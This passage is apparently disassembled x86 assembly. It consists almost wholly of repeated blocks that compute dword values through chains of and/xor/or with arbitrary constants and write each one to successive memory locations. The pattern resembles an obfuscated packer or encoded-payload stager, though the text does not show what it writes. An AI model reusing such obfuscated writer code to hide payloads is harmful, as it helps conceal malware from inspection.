and eax, 0x7c062989
or eax, 0x2000010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x576c5362
and eax, 0x46040100
or eax, 0x2911701e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x721a7788
and eax, 0x14020206
or eax, 0x2503828
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x617b33ca
and eax, 0x106767e5
and eax, 0x10000144
or eax, 0xc0527c0a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4948872c
and eax, 0x400000
or eax, 0xa43970f0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x264f2ff6
xor eax, 0x611a0fb8
and eax, 0xc325400a
or eax, 0x18128180
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3aaf5469
xor eax, 0x29e54ae2
and eax, 0x20c208c0
or eax, 0x803c2404
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6ecfc067
and eax, 0x545173c0
and eax, 0
or eax, 0xf1b3d092
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3d9103b3
xor eax, 0x705b6c77
and eax, 0x2c28bb14
or eax, 0x410440a8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x274ab36
and eax, 0x18884e01
and eax, 0xa00
or eax, 0x92402572
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x73931890
and eax, 0x40112100
or eax, 0x1a20480d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x67edfd7f
and eax, 0x9d81412
or eax, 0xc2234900
mov dword [ebx], eax
add ebx, ecx
or eax, 0x65d905c3
or eax, 0x7d6b0ba5
and eax, 0xf2894fb2
or eax, 0x4a008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5e93c7d8
and eax, 0x10510
or eax, 0x840e0802
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2a72e527
and eax, 0x682b65e0
and eax, 0x20200020
or eax, 0x81d29c9a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3f7af39b
xor eax, 0x4b4c5621
and eax, 0x85c43900
or eax, 0xa1980c9
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3849a9cf
and eax, 0x412889
or eax, 0x50245604
mov dword [ebx], eax
add ebx, ecx
or eax, 0x13037735
and eax, 0x336cd94a
and eax, 0x10240808
or eax, 0x64090264
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7011f653
and eax, 0x400c7e3d
or eax, 0x9000100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x26e253e
xor eax, 0x49ef8d8a
and eax, 0x2013034
or eax, 0x846e080a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x771b6fb
and eax, 0x1080ec4
or eax, 0x4e013012
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5878791c
or eax, 0x4bbec663
and eax, 0xb022e21
or eax, 0x30400000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x492346d6
or eax, 0x5e4a52e7
and eax, 0x2d410a65
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xe63cf20
xor eax, 0x522790f7
and eax, 0x60045430
or eax, 0xeb88009
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1ab3f408
and eax, 0x74082010
or eax, 0x88a05e04
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4b0192ee
and eax, 0x8000000
or eax, 0x12bca4db
mov dword [ebx], eax
add ebx, ecx
or eax, 0x56d5d9b7
or eax, 0x75c932c3
and eax, 0x42f420aa
or eax, 0x80000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x77ab0843
and eax, 0xe4b900c0
or eax, 0x8009600
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2cc58553
xor eax, 0x18fac452
and eax, 0xc0004680
or eax, 0x26490004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1eeaf4e3
and eax, 0xc025001
or eax, 0x10
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6efe08b
and eax, 0x13f95736
and eax, 0
or eax, 0xfb7b2b40
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4f378c9e
and eax, 0x4faa73b2
and eax, 0x1022380
or eax, 0x20c44029
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4f7102f6
or eax, 0x3605a820
and eax, 0x3d570123
or eax, 0x400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2587cfc3
or eax, 0x7e770fb0
and eax, 0x70638851
or eax, 0x3004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x43cf780c
or eax, 0x4d8e8a98
and eax, 0x5c2ea804
or eax, 0x102
mov dword [ebx], eax
add ebx, ecx
and eax, 0xadb2573
or eax, 0x1ba53cc5
and eax, 0x18270d00
or eax, 0x60104018
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x51d69d78
and eax, 0x1404040
or eax, 0x50182e09
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6e300d89
xor eax, 0x4e5983e
and eax, 0x699d81e1
or eax, 0x84420000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x753dc84d
xor eax, 0x7ccc6fee
and eax, 0x1002600
or eax, 0x620848b8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x291d366a
xor eax, 0x688e7132
and eax, 0x800008
or eax, 0xa42c2012
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4ceeeb64
xor eax, 0x67f15ecd
and eax, 0x621c7601
or eax, 0x10a08000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2a410198
and eax, 0x5210b101
or eax, 0x1000840
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3c692cb8
xor eax, 0x2aef9f1
and eax, 0x58564008
or eax, 0x80081963
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1ac3653c
xor eax, 0x7b95713f
and eax, 0x20573016
or eax, 0x1400cb80
mov dword [ebx], eax
add ebx, ecx
or eax, 0x22d4a0d3
and eax, 0x6c5d397
or eax, 0x49280008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3af8fe02
xor eax, 0xb0eb0f5
and eax, 0x662002
or eax, 0x30000108
mov dword [ebx], eax
add ebx, ecx
or eax, 0x421f03a1
and eax, 0x306d208a
or eax, 0x8d80c440
mov dword [ebx], eax
add ebx, ecx
or eax, 0x36769817
and eax, 0x99fc89b
or eax, 0x40000100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x42a8fb0d
xor eax, 0x7c7895a4
and eax, 0x12014401
or eax, 0x381100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1b9a3154
xor eax, 0x3904618
and eax, 0x8082249
or eax, 0x81944012
mov dword [ebx], eax
add ebx, ecx
and eax, 0x55f7ccd
and eax, 0x44040
or eax, 0xd0e29226
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2093a76b
and eax, 0x40252008
or eax, 0x1028892
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1528412a
xor eax, 0x616d6c63
and eax, 0x35220103
or eax, 0x4a054a20
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2267c881
xor eax, 0x28370bd5
and eax, 0x4200c016
or eax, 0x28a83e00
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb0c66ee
and eax, 0x280140e
or eax, 0x94520101
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7addd072
and eax, 0x6e1090e3
and eax, 0x8008060
or eax, 0x912a231c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x42034f3b
and eax, 0x28
or eax, 0x75002407
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1de55880
and eax, 0x256529b7
and eax, 0
or eax, 0x28a64920
mov dword [ebx], eax
add ebx, ecx
and eax, 0x775b6182
and eax, 0x20020000
or eax, 0x7d82d0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x589aeb8b
and eax, 0x180000
or eax, 0x7f00204f
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1365ae43
and eax, 0x6a9f85a4
and eax, 0x2000000
or eax, 0x315d6d2e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x418d3b09
xor eax, 0x551646fd
and eax, 0x54082e75
or eax, 0x8bc0100a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x75c1b138
and eax, 0x80080a00
or eax, 0x41641010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x9f56431
and eax, 0x40010
or eax, 0x2e0a5701
mov dword [ebx], eax
add ebx, ecx
or eax, 0x768d42cf
and eax, 0x2602105d
or eax, 0x702820
mov dword [ebx], eax
add ebx, ecx
and eax, 0x64999902
and eax, 0x1361cdf8
and eax, 0x800
or eax, 0x590039
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xe740035
xor eax, 0x5dffe4dd
and eax, 0x53822cd1
or eax, 0x825130e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3ca2237a
xor eax, 0x4d83c762
and eax, 0x8021303
or eax, 0x10590020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6b8eb544
and eax, 0x7a000062
or eax, 0x84004010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x75c2484d
and eax, 0x746035ff
and eax, 0x19
or eax, 0xe39ad280
mov dword [ebx], eax
add ebx, ecx
and eax, 0x76743dbb
and eax, 0x100099
or eax, 0xdedc200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x352863c1
or eax, 0xda0a233
and eax, 0x34d0c2a3
or eax, 0x80000c00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x60174d8d
or eax, 0x51479835
and eax, 0xc582cf85
or eax, 0x202000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x71d82ab9
and eax, 0x40800081
or eax, 0x86144106
mov dword [ebx], eax
add ebx, ecx
or eax, 0x24503648
or eax, 0x4a0954f8
and eax, 0x4e09457b
or eax, 0x200800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x9181296
and eax, 0x7327c270
and eax, 0x2204220
or eax, 0x9414281d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5f03e670
and eax, 0x1d30c221
or eax, 0x881182
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4801ac32
xor eax, 0xe752c0b
and eax, 0x10489208
or eax, 0xac330447
mov dword [ebx], eax
add ebx, ecx
and eax, 0x229771f
xor eax, 0x4fd42dc6
and eax, 0xe143800
or eax, 0x20024422
mov dword [ebx], eax
add ebx, ecx
or eax, 0x49ae00a4
and eax, 0x5a788e35
and eax, 0x48300c00
or eax, 0xa5836090
mov dword [ebx], eax
add ebx, ecx
and eax, 0x459e94e6
and eax, 0x45020000
or eax, 0x2809325b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x703f0522
or eax, 0x387aa0d6
and eax, 0x1c0e3720
or eax, 0x40014000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x70891f3a
and eax, 0x804681a
or eax, 0x11481020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x654fffd9
and eax, 0xc030341
or eax, 0x1602810
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5f96e724
and eax, 0x48304674
or eax, 0x2000000a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x10e6d991
or eax, 0x459d124
and eax, 0x4399010
or eax, 0xcb840243
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3c3bfd8a
xor eax, 0x77343266
and eax, 0x30195
or eax, 0x60043202
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x24bae4af
and eax, 0x4bd1310
or eax, 0x29400045
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4a34d6bd
and eax, 0x26080088
or eax, 0x98202a10
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x281bd608
and eax, 0x8232b890
or eax, 0x40c80142
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4b0ab10d
and eax, 0x89000800
or eax, 0x340c5000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2334ef8
and eax, 0x14234a88
or eax, 0x40c00103
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x73fc750
and eax, 0x3f423242
and eax, 0x10400002
or eax, 0xa8bbed80
mov dword [ebx], eax
add ebx, ecx
and eax, 0x26e5813f
and eax, 0x39e6ea46
and eax, 0xa00000
or eax, 0xd7116ed8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x52f3b26c
and eax, 0x3bbbb69
and eax, 0x2802208
or eax, 0xe0080486
mov dword [ebx], eax
add ebx, ecx
or eax, 0x21bc35cf
and eax, 0x2042383
or eax, 0x1c42c010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x303b090b
and eax, 0xe1ce880
or eax, 0xd0801562
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4f59a99
and eax, 0xa684628
or eax, 0x21001080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5c200aef
xor eax, 0x5197bccf
and eax, 0x51142a44
or eax, 0x20400190
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6f906cf4
or eax, 0x6597d7fd
and eax, 0x4097ce8d
or eax, 0x90280002
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3df345d6
xor eax, 0x12d61a5a
and eax, 0x8f28c481
or eax, 0x10d40a7a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x47382910
xor eax, 0x2e7ae2bb
and eax, 0xe1800140
or eax, 0xa389290
mov dword [ebx], eax
add ebx, ecx
and eax, 0x79a2f48e
and eax, 0x453f90ac
and eax, 0x41009080
or eax, 0x92944f13
mov dword [ebx], eax
add ebx, ecx
and eax, 0x40ecb59d
and eax, 0x809490
or eax, 0x83512a6c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x79b980f
and eax, 0x81dbb6d0
or eax, 0x48240100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x54d58ea2
xor eax, 0x1a0f3f27
and eax, 0x4a9a2907
or eax, 0xa5214618
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1e4680f1
and eax, 0x40ffaee9
or eax, 0x1000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x60ca8548
and eax, 0x20041281
or eax, 0xcec0001e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7a980f0b
and eax, 0x68800008
or eax, 0x855e6000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x71e4e1f2
and eax, 0x42881fa
or eax, 0x42010e05
mov dword [ebx], eax
add ebx, ecx
and eax, 0x426b5e
and eax, 0x300
or eax, 0x15615001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2685b957
and eax, 0x3f23364
and eax, 0x2a01140
or eax, 0x6c0a841a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x493f6d34
and eax, 0x20000
or eax, 0x85d4600f
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4b31ee2a
xor eax, 0x1b3631d5
and eax, 0x102200ca
or eax, 0xc1918620
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7bac46d0
or eax, 0x7526fdb1
and eax, 0xee11a691
or eax, 0x400004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7b442091
and eax, 0x95050004
or eax, 0x68a2588b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x697ce01a
and eax, 0x29204008
or eax, 0x90db8891
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4cf8c5ae
and eax, 0xb8c088
or eax, 0xe0020273
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2a022375
xor eax, 0x342e7ff0
and eax, 0x10040e0a
or eax, 0x1204181
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2e9824e9
or eax, 0x3fd997f0
and eax, 0x2f95deb3
or eax, 0xc0000004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7e397b4a
and eax, 0x4c111202
or eax, 0x11cca089
mov dword [ebx], eax
add ebx, ecx
and eax, 0xdceb870
or eax, 0x16bffcf7
and eax, 0xbbc30c0
or eax, 0xc0000208
mov dword [ebx], eax
add ebx, ecx
and eax, 0x73078e6b
and eax, 0x41000040
or eax, 0x9492e594
mov dword [ebx], eax
add ebx, ecx
or eax, 0x38bf00de
and eax, 0x49c1f723
and eax, 0x48816102
or eax, 0x261010e8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xc3815f2
and eax, 0x60004410
or eax, 0x14101321
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2a59de6d
and eax, 0x7e18150c
or eax, 0x1062000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x57beb886
or eax, 0x5b34b5a4
and eax, 0x12261020
or eax, 0x1401a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6f0786c6
and eax, 0x71000458
or eax, 0x25c0900
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5f7e09b8
and eax, 0x13500810
or eax, 0xc007002
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1cbef50c
xor eax, 0x25e23a88
and eax, 0x1a108304
or eax, 0x5633008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7dde66bb
or eax, 0x1938e90e
and eax, 0x41057c29
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x75684d0e
and eax, 0x5e0f0ba7
and eax, 0x10080020
or eax, 0x29026400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x608d4d99
and eax, 0x494e8009
and eax, 0x49020000
or eax, 0x94a11852
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6c308098
or eax, 0x46901f34
and eax, 0x16108816
or eax, section..reloc
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x15c26d49
and eax, 0x1000143
or eax, 0x54610820
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7c68d38
xor eax, 0x48ad9e1e
and eax, 0x1a0a1a40
or eax, 0x5216022
mov dword [ebx], eax
add ebx, ecx
and eax, 0x12524214
xor eax, 0x54d862aa
and eax, 0x650200a
or eax, 0x11044c54
mov dword [ebx], eax
add ebx, ecx
and eax, 0x72c44410
xor eax, 0x5accf767
and eax, 0x4888a351
or eax, 0x7120880
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5730689a
or eax, 0x2ff05dae
and eax, 0x36588205
or eax, 0x52010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6ee5d4b3
xor eax, 0x6e659863
and eax, 0x100240
or eax, 0x6a430003
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x36b86f59
and eax, 0xc22640a
or eax, 0x2140004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7af4fd8c
and eax, 0x58a6f8f3
and eax, 0x8204000
or eax, 0x83831d39
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3e39c8f8
or eax, 0x28005441
and eax, 0x340210c1
or eax, 0x61283a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x59c808e8
and eax, 0x400b1000
or eax, 0x540a04
mov dword [ebx], eax
add ebx, ecx
and eax, 0x54355349
or eax, 0x7758cfa3
and eax, 0x65551a02
or eax, 0x200c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x47534cb1
and eax, 0x65011c3e
or eax, 0x88a00040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x349785b9
and eax, 0x74061037
or eax, 0x2000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x23acd031
and eax, 0x22041010
or eax, 0x406bee00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3c1f17b2
and eax, 0x2a4cafb0
or eax, 0x81800000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3fbe2167
and eax, 0x16220bb4
or eax, 0x5000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7bd19c6d
and eax, 0x12001820
or eax, 0xed8e8158
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7fdcf367
or eax, 0x5388cdf1
and eax, 0x3a8c0131
or eax, 0x8042200e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1087ebf9
xor eax, 0x66607adc
and eax, 0x36e21ac5
or eax, 0x9088012
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7da623d3
and eax, 0x269cd1f6
and eax, 0x24000010
or eax, 0x13b852d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6b282d4c
and eax, 0x262a0d68
or eax, 0x445000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6cd22c9d
or eax, 0x15cd34ae
and eax, 0x5c29754f
or eax, 0x28200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x64592366
xor eax, 0x769834ce
and eax, 0x4a608023
or eax, 0x90051118
mov dword [ebx], eax
add ebx, ecx
and eax, 0x26d903d0
xor eax, 0xc9b0fe7
and eax, 0x420230
or eax, 0x30241000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x315800ca
and eax, 0x12a107a
or eax, 0xc4814104
mov dword [ebx], eax
add ebx, ecx
or eax, 0x530fcb02
and eax, 0xd6a7c312
or eax, 0x8002081
mov dword [ebx], eax
add ebx, ecx
and eax, 0x221c6ab5
and eax, 0x7a75f004
and eax, 0x2046000
or eax, 0xeda194b7
mov dword [ebx], eax
add ebx, ecx
or eax, 0x9062552
and eax, 0x6006c5b0
or eax, 0x208
mov dword [ebx], eax
add ebx, ecx
or eax, 0x72ab2da2
or eax, 0xf741c48
and eax, 0x3f4b1338
or eax, 5
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x126d7384
and eax, 0x28060029
or eax, 0x90d19940
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2d41354f
and eax, 0x20010000
or eax, 0x53164412
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1b6bcbc4
or eax, 0x5e57aa77
and eax, 0x18502210
or eax, 0x500
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4efb4d03
and eax, 0x18c02302
or eax, 0x210490e4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x777af5d
and eax, 0x38231c28
or eax, 0x400c0344
mov dword [ebx], eax
add ebx, ecx
and eax, 0x298e6421
and eax, 0x8000000
or eax, 0x14702048
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6708173d
and eax, 0x4000008
or eax, 0x92f91941
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x51e93f47
and eax, 0x124a4765
and eax, 0x2000004
or eax, 0x9cdda8c3
mov dword [ebx], eax
add ebx, ecx
or eax, 0x46591249
and eax, 0xc2918a88
or eax, 0x204120
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x78404311
and eax, 0x2c00030
or eax, 0x4084146
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2da1a811
or eax, 0x24943392
and eax, 0xbf1c2f2
or eax, 0x90020400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5dfce673
or eax, 0x5cb2287b
and eax, 0x5d204a23
or eax, 0xa2090180
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7ec2027e
xor eax, 0x760ffa30
and eax, 0x4344a021
or eax, 0x8090402
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x75622de4
and eax, 0x4bd39e96
and eax, 0xa000804
or eax, 0x600c3408
mov dword [ebx], eax
add ebx, ecx
and eax, 0x38cad3e8
and eax, 0x607afc9d
and eax, 0x20080008
or eax, 0x11274e12
mov dword [ebx], eax
add ebx, ecx
and eax, 0x78aff70e
and eax, 0x100f0400
or eax, 0xd1098c1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x10327403
or eax, 0x4edfb89b
and eax, 0x13dc7c48
or eax, 0x80000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7922be9b
or eax, 0x516ba91b
and eax, 0x10618901
or eax, 0xe1002c0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x44314fa2
or eax, 0x1a806aab
and eax, 0x10110ba0
or eax, 0x1461044
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x48f1d2d4
or eax, 0x66b2b7c7
and eax, 0x32200b63
or eax, 0x400000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1786c983
or eax, 0x756821f9
and eax, 0x4640040
or eax, 0x2010400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1d6e7d7
and eax, 0x195115bd
and eax, 0x400400
or eax, 0x8c3a3851
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6b2669ff
and eax, 0x452d8515
and eax, 0x2c0101
or eax, 0xa0c082c8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x70690f8a
and eax, 0x20400188
or eax, 0x85978c61
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7c4935a9
and eax, 0xf5d488c9
or eax, 0x16
mov dword [ebx], eax
add ebx, ecx
or eax, 0x49217e04
and eax, 0xcc00485d
or eax, 0x2000100
mov dword [ebx], eax
add ebx, ecx
and eax, 0xcf32512
xor eax, 0x1d729f48
and eax, 0x10629440
or eax, 0xa68d21a2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x52c42f8f
and eax, 0x14623b6c
or eax, 0x100010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x8922ee2
xor eax, 0x443cee14
and eax, 0x200460
or eax, 0x88501289
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x67e1c72
and eax, 0x82000089
or eax, 0xf1a144
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2d42c670
and eax, 0
or eax, 0xad9d59bb
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4fb4f2f3
and eax, 0x80098148
or eax, 0x18d61487
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3fee4117
and eax, 0x80af91cc
or eax, 0xa20
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1cc82894
xor eax, 0x50073c55
and eax, 0x80408b28
or eax, 0x238a10c0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6ef3dab0
and eax, 0x1080148
or eax, 0x12c43286
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1f800bf
and eax, 0x10140321
or eax, 0x81c28c8c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5662ee0e
or eax, 0x4b4622ac
and eax, 0x2c203a6
or eax, 0x20089850
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x178631c1
and eax, 0x72f54e2d
and eax, 0xa25
or eax, 0x4d184452
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7ab34c61
or eax, 0x31a7ad07
and eax, 0x68234025
or eax, 0x2080210
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7165b807
or eax, 0x54ba2a41
and eax, 0x3a6a5834
or eax, 0x508
mov dword [ebx], eax
add ebx, ecx
or eax, 0x27e7c681
and eax, 0x194f073d
or eax, 0x102042
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7aa324c7
and eax, 0x7145236a
or eax, 0x4000800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x44cd95ef
and eax, 0x4000020
or eax, 0xa13a7011
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2f06a7a4
or eax, 0x6224a200
and eax, 0x8d046201
or eax, 0x800008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2473638d
and eax, 0x4004009
or eax, 0x8b8081c6
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x487e5961
or eax, 0x47a4363f
and eax, 0x87809ead
or eax, 0x10040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3e3edfc6
and eax, 0x171e0fc7
or eax, 0x400010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3f775c4
and eax, 0x22cd61fa
and eax, 0x2000140
or eax, 0x61b3dc3b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x477f5e70
and eax, 0x200
or eax, 0x40322050
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1a110ee2
and eax, 0x5d0029fc
and eax, 0x18000040
or eax, 0xa7f18504
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x20964412
or eax, 0x4cd42c71
and eax, 0xc4628820
or eax, 0x1080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x59eef328
and eax, 0x3e6a8f1c
and eax, 0x1c088a00
or eax, 0xe2944481
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x14d32216
and eax, 0x68482087
or eax, 0x5100148
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6a340677
and eax, 0x244027e5
or eax, 0x90819000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4de25722
and eax, 0x6b3f862d
and eax, 0x8018404
or eax, 0x60411c8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1d0a12f6
and eax, 0x8000004
or eax, 0x91864802
mov dword [ebx], eax
add ebx, ecx
or eax, 0x36e915a4
and eax, 0x9103a25
and eax, 4
or eax, 0x440603d0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x48086a86
xor eax, 0x2a3a7e2f
and eax, 0x242400c0
or eax, 0x11490006
mov dword [ebx], eax
add ebx, ecx
or eax, 0x30b77288
and eax, 0x6b5bc66e
and eax, 0x2002424c
or eax, 0xd2a0a021
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x33fdcff0
xor eax, 0x8507a0d
and eax, 0x40020610
or eax, 0x26500023
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1d1634be
and eax, 0x38043088
or eax, 0x4124900
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6649cd91
or eax, 0x762ca6b6
and eax, 0x14082180
or eax, 0x8500001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5a1aa9c
and eax, 0x19210109
or eax, 0x22065022
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7d7b67bf
xor eax, 0x51fc6fc4
and eax, 0x4011852
or eax, 0x102c0504
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2b3e8051
and eax, 0x626e5a1a
and eax, 0x80010
or eax, 0x3041304f
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6950a463
xor eax, 0x217879b8
and eax, 0x10212084
or eax, 0x83881249
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x47c230d9
or eax, 0x25ee162a
and eax, 0xf5871034
or eax, 0xa100941
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7c5bab35
xor eax, 0x72448b3a
